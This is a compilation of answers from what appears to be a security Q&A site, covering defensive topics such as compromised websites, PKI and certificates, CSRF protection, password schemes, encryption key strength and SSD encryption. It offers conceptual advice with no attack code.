Hosted Email Hacked, SQL injection maybe?

The attacker may or may not have your email password; this message doesn't indicate one way or the other. This is a failure notice from some email sent (possibly by your website) earlier in the day. You should expect to continue to get these notices for a while even after the outbound email stops, though the rate should slow significantly over time. If it doesn't, then the outbound messages are still going out and you need to re-evaluate your current security.

As for how the attacker got in, if you're running an old Wordpress install, there has been a vulnerability or two in the not-too-distant past that could account for this. If you're running an updated install, then check your plugins and themes. The vast majority of the time, it's a plugin or theme that is to blame.

People tend to only install software (like Wordpress) that has a decent reputation, but they completely let their guard down when installing third-party components. It's very possible that the person who wrote your theme or component has no idea how to write software; this could even be his very first attempt. And yet a vulnerability in a theme or a module is just as bad and just as exploitable as one in the core system.

You have to be extremely cautious, particularly with PHP software (which has much lower barriers to entry for inexperienced developers), and only install code that you know you can trust.

Also, you have to stay on top of the updates. The window between when an update for a package is officially released till when the issues it fixes get widely exploited by even inexperienced hackers is only a matter of days.


Laptop was stolen, they tried to log into my facebook from their location on my laptop

Although you did not mention in which country you are in, it is very likely that stealing is a crime there. So you should go to the police.


I think there is a serious flaw in your suggestion: unless I miss my mark, your "salt" isn't a salt at all: it's a challenge and, as such, it should be randomly generated each time a client attempts to authenticate.

If this is the case, then you cannot use it as input for the pbkdf2 function. It will just not work. If it is not the case, then unless you're already using a secure connection between the client and server, your auth scheme is seriously flawed: it is vulnerable to a replay attack and sniffing just as much as a plaintext password.

Overall, it's always better not to try to implement these kind of scheme: use a secure connection (TLS) between the client and server to protect data in motion and use PBKDF2 (or any standard key-derivation function that matches your requirement: BCRYPT, SCRYPT, etc.) to protect data at rest. If you really need challenge-response, then use SCRAM.

In your case, unfortunately, implementing SCRAM would require a change in the way the client works.

The best alternative would be for you to store the password in (reversibly) encrypted form. However, protecting the keys properly a very complex task: difficult to get right and easy to get wrong. It's hard to make suggestion for this type of implementation since it depends much on the value of the assets you're protecting (I would suggest, however, that you consider moving the authentication to a completely different system that only interact with the main one through a strict interface)


brute force ssh account with key-pair authentication?

Brute forcing the certificate is very unlikely. More likely are:

Virus/trojan extracting the certificate from one of your systems
Vulnerability in SSH server (advanced attacker and/or outdated software)
Another entry point besides SSH. Check open ports with nmap


Security implications of packets with an invalid state (iptables)

The main reason those invalid packets must be dropped is because they are often used for OS fingerprinting.

As each of the major OSes respond to those packets in different ways, it's easy to find that you are running Linux if you don't drop them.


If I understand you correctly you want to make sure, that the CA can verify that a public key submitted from some party actually belongs to this claimed party, i.e. it wants to be sure of the submitter's identity. This is not possible without having already some kind of direct or indirect trust relationship between CA and the party and your question does not provide any clue of what this trust relationship in your specific case might be.
Some examples:

The party might give the key directly to the CA and show some kind of identity (passport, driver license...) which is considered a trusted identity by the CA because it was issued by a trusted instance (government or similar).
The party might claim to be a specific name living at a specific address and the certificate (which is the signed key and additional information) should include such information. In this case the CA might send a letter to the given name and address and the party must prove that it received this letter (by providing its secret contents). In this case the CA would trust the postal service to deliver this letter only to the given address.
The party might claim an identity associated with a specific domain name. In this case the CA might ask the party to prove ownership of the domain, for example by being able to receive mail for this domain (similar to the previous case, but electronic letter) or by being able to provide a specific content at a URL from this domain. In this case the CA trusts the domain name system (DNS). This kind of method is for example used for domain validated certificates.

Apart from that the party commonly proves not only that it has a specific identity but that it actually owns the specific public key. This is done by signing the key (and usually additional information) with the associated private key. This is for example done within a certificate signing request (CSR).


Which SSL certificate should I purchase for a website with one sub-domain?

You do need to have a certificate for your sub-domain, otherwise you will get mixed-content warnings. So option one is out.

Having "3 domains" includes sub-domains. You can see it in their example when you click on the option.  You certainly don't need a wild-cart certificate.

  blog.mysite.com, secure.mysite.co.uk, payment.mysite.net, www.blog.mysite.org

As for mobile support, when I click on the certificates, all of them include mobile support in the table of features. I have no idea why they decided to specifically mention it in one description and not others.


IP Security (IPsec) vs Public Key Infrastructure (PKI)

IPsec is not directly related to public key infrastructure (PKI), i.e. the use of X.509 certificates structured in certificate authorities (CAs).

The Internet Key Exchange protocol (IKE), on the other hand, which is used to dynamically negotiate IPsec SAs may use PKI to authenticate the peers. But there are other authentication methods that are based on raw public keys or shared secrets.  There are even authentication methods for IKEv2 like EAP-TLS/TTLS/PEAP that rely on SSL/TLS, so that may even be a "correct" answer to the question the same way PKI is (i.e. the question is very ambiguous).

And the encryption algorithm used for IPsec SAs is a configurable parameter (usually negotiated via IKE) so there is no single one that IPsec (or rather ESP) uses, although, there are some recommended algorithms that implementations should provide. Encryption is even optional.


Would encryption of RAID6 arrays of SSDs be secure?

There is no security implemented in RAID6. From what I gather in your question you are suggesting that the arrangement of data across the disks might make it difficult to get meaningful data out, but not at all impossible. If it is a healthy array then it's entirely possible.

The main misconception about encryption on SSDs is that people believe it's impossible to achieve without 'data leakage'. This comes from the fact that, unlike on HDDs, the operating system cannot usually address sectors of the SSD directly for read/writes. This is because firmware on the SSD implements a wear-levelling algorithm which chooses where to really store data based on which flash blocks have or haven't been written to, in an attempt to spread writes to all the flash blocks as evenly as possible (thus prolonging your SSDs MTBF). This is performed regardless of where the OS requests it to go by way of LBA.

Ultimately this means if you choose to encrypt an SSD after it has already had data stored in plain-text on it, you as an outsider to the SSD firmware have no way of ensuring that data stored on the raw flash blocks don't have sensitive information. But if no plaintext data is ever written to the SSD, there can never be a leakage of sensitive information because the SSD never sees plaintext. Therefore it's irrelevant that the wear-levelling algorithm abstracts true data location information, because all the data is secured.

I believe other attacks on SSDs have been written about such as the ability to retrieve data from other VM guests in virtualised environments, but again if the VM container is employing  full-disk encryption (FDE) then without the decryption keys other guests will only see garbage.


Highly unlikely. Phone calls - real phone calls, not Skype calls or whatever - go through a code path that offers little attack surface and is almost entirely under the control of the device manufacturer. I've never heard of a way to get arbitrary code execution on a device just by calling it. Now, with that said, that doesn't mean it's impossible. There have, for example, been security bugs where you could crash a phone (or possibly get code execution) by sending it an SMS. A third-party phone app could also have vulnerabilities that an attacker might be able to trigger, for example via a malicious caller ID of some kind.

If the attacker did somehow get code execution on the phone, that could certainly be used to then attack the phone (try to install malware, for example) or attack other devices on same WiFi network as the phone (probe them for vulnerabilities, steal any information it can access, possibly intercept network traffic, etc.). That's the same risk as anything else where an attacker gets arbitrary code execution on a device, though; the only difference is the attack coming from a phone call instead of an SMS/MMS, data upload to some app, or malicious code existing in the app or in the phone's OS or firmware from before.


You can't regulate where the cert goes as it's handled by the client (browser in your case). There's nothing in a client cert to restrict it to specific domains. The browser is free to send it wherever it wishes. There are settings in the browser that lets users control where the certs go, but that too is out of your control.

That said, I'm not sure why you care who gets the cert. If you're using client certs, there's no chance of phishing or MiTMing.


When you say GUID is that an actual GUID as per spec, or a proper randomly generated key? If its not random that's the biggest issue right there because your session security now relies on something very easily guessed.

Given that, to answer the other questions you need ask yourself: what are you protecting? what are you protecting against? What sort of attackers? How much effort are you and/or they willing to put into it?

Then you have to consider that what you're looking at is protecting a key on a client system that is potentially hostile. You could encrypt the session key, but with what key? What algorithm? Do all browsers support the necessary algorithms? How do you protect that key? Most browsers don't support crypto so that complicates things a whole lot.

Storing things in local storage is better/worse/equal to storing in a cookie. On the one hand its better because it can help protect against CSRF because to get access to the session key you need to execute within a context that can access local storage, whereas a cookie will pretty well just be sent to the server on every request so long as the cookie is valid. However, local storage was never really meant for storing sensitive things like session keys so it doesn't necessarily get the same level protection as a cookie store on a machine (history being what it is, cookies had the same issue back in the day too). Cookies nowadays also have protection against access from JavaScript, so XSS can't do funny things with sessions like ship the keys off to another server, whereas local storage is only accessed from JavaScript.

A potential mitigation is to use both a cookie and local storage to create a composite key of sorts, but there could be complications with that too.

You could also refresh the token every so often and make sure its invalidated on the server to prevent long-lived keys, but that doesn't necessarily solve anything if a user only visits every few weeks.

Clear as mud?


Relationship between FISMA and OMB Circular A-130?

OMB Circulars are instructions or information issued by the Office of Management and Budget (OMB) to federal agencies. A-130 establishes official OMB policy and guidance on information technology management for federal executive agencies.

The Federal Information Security Management Act recognized the importance of information security to the economic and national security interests of the United States. The act requires each federal agency to develop, document, and implement an agency-wide program to provide information security for the information and information systems that support the operations and assets of the agency, including those provided or managed by another agency, contractor, or other source.

Have a look on fismapedia for more info on OMB A-130.

If you look at purpose it states:

  This Circular establishes policy for the management of Federal
  information resources. OMB includes procedural and analytic guidelines
  for implementing specific aspects of these policies as appendices.

FISMA requires agency program officials, chief information officers, and inspectors general (IGs) to conduct annual reviews of the agency’s information security program and report the results to Office of Management and Budget (OMB). OMB uses this data to assist in its oversight responsibilities and to prepare this annual report to Congress on agency compliance with the act.

EDIT

To put it a bit more simple as GdD phrased it:

  FISMA is a law that says federal government agencies have to protect
  information resources. OMB A-130 says how they should go about it.


Is autocomplete=“off” compatible with all modern browsers?

Exact duplicate of SO question (which is more relevant than here): https://stackoverflow.com/questions/3868299/is-autocomplete-off-compatible-with-all-modern-browsers

Basically, most modern browsers attempt to respect it, though it would be trivial to write an javascript extension to ignore/disable it.  E.g., with jQuery library they could do something like add the following javascript to every page:

$(document).ready(function() {
 $(":input").attr('autocomplete', 'on');
}

which would override the autocomplete settings of the website.  Basically, your best bet is to set autocomplete='off' and additionally set a policy to tell users to never have the browser remember the password for this website.


According to Verisign, it is best to buy your certificates from Verisign, because then the obtention fee goes into Verisign's pocket, and not Thawte's pocket. Understandingly, Thawte's point of view somewhat differs.

Since they both comply to the same standard (X.509), there's no problem in using a certificate from either in any kind of device. What could make a CA a better choice than any other is:

whether one CA could get its root public key included in most OS and Web browsers by default, and not the other;
whether one CA has an easier to use issuing procedure;
whether one CA asks for less money per certificate than the other.

In practice, Verisign and Thawte are quite on par with each other for all these criteria, so you may choose the one which has the Web site colours which please you most, or whatever. If you really must make a choice, it won't be technical, rather legal: which one offers the best financial guarantees if a mishap occurs ? See with your legal department, then.


Explanation of persistent full-chain kernel code execution

Ok, lets first add some context:

  Lock screen bypass: $100,000
  User data extraction: $250,000
  Unauthorized access to high-value user data: $100,000
  Kernel code execution: $150,000
  CPU side-channel attack on high-value data: $250,000
  One-click unauthorized access to high-value user data: $150,000
  On-click kernel code execution: $250,000
  Zero-click radio to kernel with physical proximity network attack: $250,000
  Zero click access to high-value user data: $500,000
  Persistent full-chain kernel code execution attack without user interaction: $1,000,000
  Source

Lets first look at the difference between OS level and KERNEL level.
 At boot the first level (a.e the one with the most permissions) that will run is the Kernel, it is responsible for managing the system resources and scheduling when what program will run (it is the 'Master Control Program').

The OS is started by the Kernel, and is usually run mostly in USER space (a more limited environment that is more secure)

An Code Execution Exploit in the OS will most likely only have the permissions of the program that it exploited and can not go out of the scope of those permissions.
An Code Execution Exploit in the Kernel has access to the WHOLE SYSTEM. and is there for much more dangerous.
A Persistent Full chain Kernel code execution exploit is basically everything you need to start abusing the exploit to do anything on an device. (all security is broken basically).

The only option to restore security is whats called a 'Nuke from orbit', e.a. completely reinstall the device (and firmware) from a clean backup or destroy the device. but you can not before it up before everything is cleaned.

By User interaction we mean any action like clicking on a accept button or opening a file that a user needs to do to (start the) infection.


Does a customer who uses a cloud service provider with ISO27017 compliance, need their own certificate to be compliant themselves?

From the overview of ISO 27017:

  The standard advises both cloud service customers and cloud service providers, with the primary guidance laid out side-by-side in each section.

Thus, the standard clearly has guidances for both. Given that a cloud service provider can not fulfill the requirements on the customer  the customer clearly can not automatically be compliant just by using the right cloud provider.

This is similar to safety of a car: just because the vendor has to implement several safety measures the car is not automatically safe. It also depends on how the customer drives so there are requirements for this too.


Offsite Incremental Encrypted Backups for a small law office

Any of the myriad cloud backup providers (Backblaze, Carbonite, Mozy, etc.) have business/server plans that will give you an offsite incremental backup option, and many (if not all) provide the ability to use encryption with keys you control, which is of course critical for data as sensitive as legal documents.

Some things I would specifically look for:

Encryption on the client side, prior to upload, so unencrypted data never leaves your environment
Encryption using well known, standard, proven mechanisms that are well described.  You don't want to rely on YOLO crypto, and you should not have to guess about how your data is protected.
Encryption using keys you control.  The provider should not have access to the keys, and thus the ability to decrypt your data
Should provide key management considerations, like the ability to securely store keys in an HSM or TPM, and possibility the ability to rotate keys to prevent overuse.

There are many other factors of course, but these are a few of the most critical security considerations when considering off-site backup options.


Are partial passwords a security improvement over full passwords?

Threat Modeling
Here is the question you need to answer first: "What is the most common way passwords are stolen?".  Sometimes security measures can't help but present trade offs in one way or another, so a more "secure" method is only "better" if it protects you against the most likely threats.  So let's consider where passwords are most in danger.
Despite not having a reference, I think it is safe to say that the answer is a resounding Hackers gaining access to poorly secured passwords in web applications.  As evidence I merely point out the fact that some of the largest dumps of leaked passwords from websites number in the hundreds of millions and even billions of passwords.  It just seems impossible for "shoulder surfing" (whether via keyloggers or actual shoulder surfing) to be as important as a threat to the average person's security than poorly secured passwords in a database.
The big picture
Here's my point: even if asking for partial passwords granted users substantial protection against shoulder surfing, and even if you did it in a way such that brute forcing the login endpoint (which is effectively what you are thinking about when you discuss decreased entropy), it would still be extremely dangerous because it will require violating the most important rule of password security.  Namely, I think it would be just about impossible to pull this off unless you stored passwords in plain text or (barely better) with reversible encryption.  You could probably come up with a way to do it by using "strong" hashing on all possible combinations of partial-passwords for every user, but I imagine that such a system would be quite a pain to manage from a code/database storage perspective.  As a result, you would have to weigh whether or not the increased security (which is not clearly better) is worth the additional hassle of a more complicated login system and the increased chance of bugs that naturally comes from doing things "fancier".
My Answer
As a result, I would say that they are almost certainly substantially less secure, as I would guess that most implementations are storing passwords in plain-text on the server side.  This makes the passwords much more vulnerable in the event of a data breach, which is a substantially more likely threat to your average web user.  Securing the user from an obscure threat vector while making them more vulnerable to the threat that is most common is a big loss.  I don't know whether or not the benefits claimed in the article are accurate or not, but I think they are missing the big picture, and therefore the question is moot.
An aside
As a final note, sometimes it's easy to miss additional threats introduced by a new security measure simply because its new and hasn't been thoroughly tried yet.  As an example, when people first started storing passwords online I doubt they realized the threat that database leaks in conjunction with password reuse would post, which is why so many systems (even today) store passwords in plain-text.  This system is likely no different.  I can point out one very obvious reason why (I think) this would actually make shoulder surfing more dangerous.  I doubt the average user will be able to answer a query like "Give me letters 2, 3 and 6 from your password" (taken from the paper abstract) easily off the top of their head.  I doubt I would.  If I didn't give it much thought I would probably do what most people would probably do after scratching their head for a minute: write down their password on a piece of paper and circle the letters being requested.  Now your password is even easier to read for any shoulder surfers, as well as the janitor.  As a result, even without the large caveat above, I suspect that if this method seems better it is only because it hasn't been used enough for the main problems to be found.
A better answer
Occasionally questions show up here suggesting alternate password schemes. My answer in all cases are pretty much the same: the inherent problem with passwords is that people are bad at passwords (easy to guess passwords, password reuse, etc...).  The solution isn't to do passwords "better".  The solution is to not do passwords.  As a result, if you were running a website and wanted a better way to protect your users, the best bet isn't to make your users beta-testers for some not-yet-well-vetted password scheme.  Rather, the best bet is to try to ditch passwords all together.  Browsers are just now starting to support password-less login methods (with webauthn looking like the coming standard).  The technology is a bit young yet (i.e. there may yet be undiscovered implementation weaknesses) so I might wait a bit before using it on critical systems (banks, email, etc...).  However, moving to a password-free login method will be a much better option..


Do malicious files on old hard drives pose a risk?

Untrusted hard drives are potentially dangerous. You should make sure to format it (don't forget that there might be more than one partition) before you boot from it. If you want to be extra careful, you could disconnect your old hard drive, boot from a pen drive and format it from there. That way, there is minimal contact.

There are advanced malware that survives formatting by hiding in the firmware. However, it's not likely some random virus the previous owner contracted would have that capability. This would be a more advanced, targeted attack, and not something I would say the normal consumer needs to worry about.


Is Intel AESNI supported by Xen in VPS/Cloud hosting environments?

At the command line type:

cat /proc/cpuinfo | grep aes

If it's there, it's supported; if it's not, it's not.

To answer your question though, Xen 4.0.1+ support AES-NI instructions in guests.


Any ways to protect my user data on company computers?

Administrator is your God. You don't fight your God; you appease Him with offerings and grovelling worship.

Your potential attacker can perfectly install some keylogger/screenlogger on your machine, get everything you type, see everything you see, get a copy of everything you download or upload. Basically this is not your machine. Technically, the machine "belongs" to the Administrator, and you are just a guest. Don't try to fight him; he has all the technical power to defeat you utterly.

Of course there are regulations and laws against IT people snooping on people's files. However there probably are clauses in your employment contract that more or less directly allow the employer to scan your data, since the computer is the company's computer, not really yours. So while active snooping is improbable if the IT people are like most IT people (i.e. their natural nosiness is more than balanced by their inherent laziness), an industrious IT admin with loose morals and some Internet-fueled competence can perfectly eavesdrop on everything you do on that computer without you getting the slightest warning about it, and without leaving incriminating traces.

It would be safer for you to simply bring your own laptop, connected to the Internet through your smartphone, and accessing your personal data from that computer only.

This situation has an amusing twist. You are thinking of your computer as "yours" and trying to protect your personal data from the company that owns the hardware. You see the company as a potential attacker. Be assured that the reciprocal is true: most "IT security teams" see the user (i.e. you) as the attacker. When they tell you that such and such system or procedure is enforced "for security", don't be a fool: they mean "for security against the user himself".

While this shared mistrust is of course detrimental to actual security of the data (against outsiders), it is still widespread and, to a large extent, self-powered. IT security teams fight against users because they see users as troublemakers that will look for ways to evade their scrutiny and, for instance, use the company resources for personal usage, and indulge in non-work-related dangerous behaviours (like downloading malware-riddled applications). Users do that because they don't trust IT security teams, as your own question shows. Of course, both the users and the IT people think that the other party is a bunch of morons.


Is the date that a password was last changed useful to an attacker?

Case for plain-text:

The attacker could change all the dates for one time and repeat.  Not a security vulnerability, but it could annoy the client to no end before it was discovered.
Your attacker could increase the number of password resets, therefore gaining more data to use in an attack.
If a dictionary attack is used the attacker knows to reset his
dictionary attack.
Increasing the date would give the attacker more time for whatever attack he/she chooses and will violate your security planning
Since the majority of users generally change only one number or letter in their password this could open up an attack given some encryption schemes.  If the attacker knows when to check the cypher text it would be easier to build a dictionary of past passwords.
If you are using grouped fields (you mentioned blobs) and list the date it changed the attacker knows the exact difference between the two cypher texts.

Case for encrypted text:

Based on the encryption scheme a history of the cypher texts could expose some knowledge of the plain text.  If the attacker has figured out that your are using dates in your blob (possible since they aren't listed elsewhere) then he/she has a very limited key-space of plain text for that part of the blob.  This could open up some vulnerabilities.

I don't know if any of this is practical.  I am basing this on a 6 week course on cryptography at coursera, but it my two cents.


Getting VPN users to trust a non-global Root Certificate Authority on Windows in order to use TLS on intranet websites

In principle your comments about the VPN are not central to answering the question, as VPN functionality is to create a network tunnel and not usually to automate configuration of the client PC.  Using AD GPOs is a method of distributing keys to users and as long as they are members of AD, an appropriate GPO will have the effect of loading the right certificates on client systems (AD domain members).  This happens regardless of whether they use a VPN or not, though if the VPN is the only means of connecting a client to AD servers then it is needed for the GPO to work.  Note that GPOs do not work instantaneously, meaning they require certain events to happen to have effect.

The right order of steps is:

Create your local CA infrastructure and certificate keys
Setup intranet sites with https and server authentication certificates
Create an AD GPO to distribute appropriate client side certificates to user systems
Allow client PCs to connect to AD to consume the GPO and get the keys (whether through VPN or normal LAN access)
Users will now be able to trust website certs used on your intranet


What constitutes an exploit? I was able to compromise my common household router

ISP routers are notorious for having bad security. Home routers in general aren't that great security wise, but some of the better ones at least provide firmware updates that fix known flaws. They provide better security than their ISP counterparts, and usually have a much better feature set as well.

I would consider this an exploit. As such, you should consider where and how you post information about this - the best way to handle such things in my view is through responsible disclosure:

"Responsible disclosure is a computer security term describing a vulnerability disclosure model. It is like full disclosure, with the addition that all stakeholders agree to allow a period of time for the vulnerability to be patched before publishing the details."

(Wikipedia - you can read the rest here: http://en.wikipedia.org/wiki/Responsible_disclosure)

OS level firewall won't mitigate these kinds of attacks.


Implement server serial key for server software

I'm not sure what sort of software are you distributing.

Are you

Selling software to game development/hosting companies?
Selling access to software hosted on your servers?

If it's 1), have you ever considered using the power of the law to your advantage? Basically sue the pants off any company who uses your software without permission.

If it's 2), you have a wide variety of options available. You can tie access to an API key which you sell, or issue certificates which allow access to your servers.

Since you said the software is intended for server side use it probably won't apply to you, but attempting to add DRM to any widely distributed software is an exercise in futility. Any DRM scheme can be bypassed given a determined enough attacker.


VoIP call security: How does encrypting signalling protocol (SIP) protects RTP?

You are right in the fact that securing SIP communication is not sufficient.

RTP has got SRTP as his secured counterpart, so you may use

SIP over TLS to secure the control channel communication,
SRTP to encrypt the data channel communication (SRTP will need to rely on another protocol, like ZRTP, to securely exchange the keys/ More information can be found on SRTP Wikipedia page).

Of course you need your software/devices to be compatible with these protocols. Wikipedia also maintains a comparison chart between SIP software including the support of these security protocol.


Does username length/complexity/uniqueness positively impact security?

A harder to guess username adds to the security if it's kept secret.

The problems are

Usernames are often not kept especially secret. On most systems allowing multiple users to log in, any user can view the list of valid users. On systems that run mailservers, the mailserver can effectively be used to check if a username might be valid as most mailservers will accept mail for any local user. Various programs may include your username by default in outgoing traffic when they connect to servers. New user signup forms or password recovery forms may allow an attacker to check if a username is taken.
Usernames are often harder to change than passwords.

So when adding additional complexity to your login credentials, it's best to get into the habit of putting that extra complexity in the password rather than the username.


Should OAuth2 Access Token support multiple audiences?

Under some authorization models, when you first receive an access token, only you (and the authorization service) know a secret that provides access to the token's audience.

When you present the token to a service in order to authorize yourself, that service also knows a secret that provides access to the token's audience.

If the audience is within a single trust boundary, even if composed of different services, then this does not increase the privileges of the receiving service.

However, if the token can be used by the receiving service to access another service to which it would not otherwise have access, then there is the possibility that it is a bad actor who will abuse this increased privilege.

Hence, an access token should typically have an audience that is within a single trust boundary.

I read the Auth0 link as suggesting that multiple API's within a single trust boundary can rely on a single access token, but use scope to control which API's the user can access, which is consistent with your other quotes.


Regenerating CSFR token in AJAX requests

Before I answer this, I should ask: is there a reason you think changing the anti-CSRF token on every request is necessary, or even beneficial? I don't want to say that there categorically cannot be a good reason, but I can't think of one. The rest of the answer is based on that.

Is this a good idea?

Not really. There's no need, and no good reason, to change the CSRF token on every request. In fact, this is likely to break stuff. For example, if your user has two or more tabs open to your site, they'll have the same session and thus the same server-side anti-CSRF token, but each will run their own javascript with their own local variables. You could get around this by using something cross-page, like client-side session or local storage, but why bother? The whole exercise is almost certainly pointless overcomplication for no gain.
Additionally, if you're performing your state-changing requests via AJAX rather than via HTML forms or similar, there's an easier way to prevent CSRF. Just add any non-standard header name to the request (for example, X-CSRF: very bad!) and on the server, make sure that non-standard header is present before processing the request. Cross-origin requests can't add non-standard headers without a CORS preflight; if you don't implement CORS support, or you do implement CORS but don't ever allow another origin to add that header, you're done. This has all sorts of advantages: no need to securely generate unpredictable tokens, no need to store extra state on the server, no need to synchronize server-side state across a cluster, no risk of side-channel timing attacks or similar, no worrying that the client might be using an outdated anti-CSRF token...

Does this create a new vulnerability like an XSS spoof?

I have no real idea what an "XSS spoof" is supposed to be. Your scheme, as described, does not introduce an XSS vulnerability unless the attacker can somehow control the value of the anti-CSRF token, and your client=side script does something more exciting with it than just stick it in a variable, and add it to AJAX request bodies.
There are some weaknesses of the proposed scheme, such as the risk of a timing attack due to the early-exit string comparison (on the server). Realistically, that's probably not a meaningful risk (in fact, the rapidly changing value of the token would in fact make this already-low-risk threat even less of an issue), but why take the chance? Besides, the much likelier issue would be in how the anti-CSRF token is generated and stored on the server.


Preventing CSRF with implicit flow and JWTs?

Storing the token in the session or local storage is the solution recommended by OWASP.

However it is required but not sufficient to protect from CSRF: if an attacker is able to perform a Cross-site Scripting (XSS) attack on your site, the attacker could inject Javascript code that retrieves the token from storage and use it for undesired REST/XHR requests.

Follow the OWASP XSS Prevention Cheat Sheet recommendations too and you should be good.


How did antivirus vendors find malware to include in traditional AV signatures?

There are a bunch of ways:

Customer directly provides a sample when they get infected or breached, or an analyst finds a sample during incident response or in the process of running a SOC.
Sample matches a previously made signature but isn't the same, so gets analysed for more general indicators of compromise (IOCs) for that malware family.
Someone uploads a sample to VirusTotal or a similar service. If a few AVs pick up a sample but others don't, the others can take a look too.
Security products offered by the same vendor (or a partner vendor) picks up an indicator of compromise based on a heuristic, and sends the sample for analysis. This is how a lot of the Cisco security products work, particularly Umbrella.
Honeypots operated by the AV vendor. These can be standalone systems on the internet, or they can be email accounts where attachments and links are automatically analysed.
On forums and chat groups operated by malware analysts for the purposes of sharing samples.
From forums where criminal groups sell malware kits, e.g. banking trojans.


Yes but everything after the first bcrypt is completely unnecessary. bcrypt automatically generates and appends a salt as well (in the ruby implementation anyway), and changing the number of rounds is sufficient to ensure that the hashing scheme is slow enough to deter offline brute forcing.


The main reason that I'm aware of is that most http servers will log the query string.  If the username/password/security token are sent in the query string, these then get stored in the log file, and you increase the potential for exposure.


How to detect arp spoofing using iptable?

You can't. The iptables command is an interface for the netfilter module of linux. Its used to block, redirect,... traffic not to detect MITM attacks. You can detect arp spoofing using a Network Intrusion Detection System (NIDS) like snort for example.


How to check and trust call encryption software

Monitoring network traffic is a way to see how easy it might be to break the encryption head-on, but it will tell you nothing of how secure the app itself is, and only if they happen to choose a very weak standard would you find anything of interest.  Rather, the greatest risk is an app that will give up the keys in a specific way (either locally or remotely) to allow eavesdropping. This is impossible to know unless you have the full source for the app, and everything else running privileged on the phone (which could snoop on the app).  The team behind Signal (Open Whisper systems) publishes their source code via Github.


128 bits of entropy are enough. The whole and only point of considering entropy is to make sure that the system can resist brute force attacks: the space of possible values must be so large that any attacker could only try a negligible proportion of the values in non-ludicrous time. There are strong reasons why 128 bits are highly sufficient for that. Realistically, a very powerful organization with lots of cash to spare (including behemoths like Apple or Google, who can muster much more resources than usual scarecrows like the NSA) could hope to perform, say, at most 285 elementary computations (like encrypting an AES block) within a year -- it won't be discreet, and that's still less than the millionth part of the millionth part of a 2128 space.

In your list of algorithm, if you generate a 256-bit AES key from a 128-bit seed and a strong PRNG, then you do not really have a 256-bit key. From the attacker's point of view, this is a 128-bit key. Mind you, that's still more than enough to deter the attacker. But claiming "256 bits" here verges on the fraudulent (and, in the case of AES, implies a +40% runtime cost for no actual gain). The same can be said about HMAC, and, actually, all algorithms that are part of "symmetric cryptography".

For asymmetric algorithms, one can try to make estimates of strength and to seek equivalences with symmetric keys. This is very hard to do, because attacks on (say) RSA and AES do not use at all the same kind of technology (to make things simple: for RSA you need a lot of very very fast RAM; for AES you need no RAM at all, and should use relatively slow circuits to make them really cheap to build and operate). See this site for what several groups of smart people have come up with. The general consensus is that a 256-bit elliptic curve (at least, a "normal" curve) ought to be somewhat equivalent to a 128-bit symmetric key in strength; a 4096-bit RSA key might be a bit beyond, assuming that this assertion makes sense, which it does not (there is nothing stronger than "cannot break it" so comparing strengths beyond 100 bits or so is kinda meaningless anyway).

There is a relatively recent idea that floats around about quantum computers, that would somehow require a doubling of the number of bits. The theoretical reason is that Grover's search algorithm can explore a space of 2n inputs to a function (implemented on a quantum computer) by invoking the function 2n/2 times. Under that theory, you would need a 256-bit key to achieve the magical "128-bit security". However, there are two principal flaws in that theory:

The flaw that everybody points out is that quantum computers do not exist yet (well, almost everybody; some people purport to have quantum computers on sale). Decoherence is apparently very hard to surmount and we do not really know how to do it except by making the whole machine very very cold, and then praying that the Universe won't catch up on what we are trying to do for a few more milliseconds.
The flaw that nobody points out, but is at least as important as the other one, is that there is no indication that an elementary computation on a quantum computer would consume an amount of energy similar to an elementary computation on a classical computer. This is, however, a very crucial point. Since the invention of the transistor, computers have steadily become more efficient; it was theorized as Moore's law. There are also increasingly clearer indications that Moore's law is about to stop (Gordon Moore himself said so), mostly because we are close to the minimal size for electronic gates (if we make them any smaller then they leak madly through quantum tunnelling) and we are out of fresh ideas: the increase in power sine the 1970s fed on a pool of ideas that had all been conceived and enunciated in the 1970s, and now we are at the end of our wits.

So we will soon reach the limits of classical computing and thus will actually know, with some appreciable reliability, just how much of a key space can be explored with classical computers. However it took about 70 years to reach that point.

For quantum computers, since they don't really exist yet, we are at day one. It takes an awful lot of wishful thinking to assert that, 70 years from now, we will have reached the maximal optimization of quantum computers and that optimization will bring the cost of elementary quantum operations within the same order of magnitude of the cost of elementary classical operations. In fact nobody knows anything about that yet.

As an illustration on the difficulty of conceiving a clear notion of what technology will be able to achieve in the future, consider the following anecdote (that I recently read in that book): back around 1810, more than 25 years after the historical first free flight of Pilâtre de Rozier in an untethered balloon, the greatest thinkers of that time had conceived what the new invention could bring to mankind. In their view, the summit of the usefulness of a balloon was to tether it to your carriage, thereby making it lighter and allowing it to be drawn about with fewer horses. Think about that whenever you feel visionary.

Quantum computer efficiency being doubly speculative at that point, it is not really rational to include it in any thinking about key length. A much more salient point is that when quantum computers work, even if they do so abysmally slowly, then RSA, Diffie-Hellman and elliptic curves are toast. That is worth investigating, and this is what studies on Post-Quantum cryptography concentrate on.


PHP Local File Inclusion from URL; no param

I don't think this is possible unless the HTTP Daemon itself is either in the root directory (e.g. in / rather than /var/www/html) OR if the HTTP Daemon itself is a superuser.

Unless I'm misreading your text and not properly grasping what you're trying to say here, I don't think this is a possibility without the httpd being in root dir.. I've came across instances where LFI/LFD has been possible simply by appending the path to the end of a URL, but like I said, only in instances wherein the HTTP Daemon itself is installed in the root directory, rather than the webroot.. If it's installed properly (e.g. in the webroot) then I think it will always be considered a URL Path as opposed to a path to a local system file?


This is not a buffer overflow.
The buffer size you are giving to memset is exactly the actual size of the buffer (in this case, the object op).

If this is a C++ object with virtual functions, then the memset will zero memory that should not have been zeroed, and the call to the destructor is likely to blow up.
But this would be memory corruption, not a buffer overflow.

As for the reason that your tool complains:
there is a common idiom that uses the type of memset's first argument to determine the buffer size:

memset(&my_object, 0, sizeof(my_object));
memset(my_pointer, 0, sizeof(*my_pointer));
memset(my_array, 0, sizeof(my_array));

It's possible that your tool throws a warning whenever you use anything else for the size, because you might forget to update the sizeof when you later change the actual object.


What can be derived from someone else's Google Analytics id?

It does not reveal anything more than what it is: a pseudonym used by Google to trace some activity wherever it is placed.

You cannot figure out the owner of such pseudonym unless you are Google or have access to Google's database on this (or whoever generated such ID places in some other webpage by mistake and that webpage has personal information that eventually leads to the owner of the Google account, but this is just being careless).

Your scenario of the subcontractor does not need to use Google's ID, they could use other solutions available out there for those who do not want to rely on Google to track their visitors.

Whether tracking users or not is good or bad is another question (and actually more like a discussion).


One question you may want to consider is why you believe that signed requests are necessary if all APIs are SSL only? SSL provides both tamper & replay protection, so unless you have other concerns, this may be redundant.
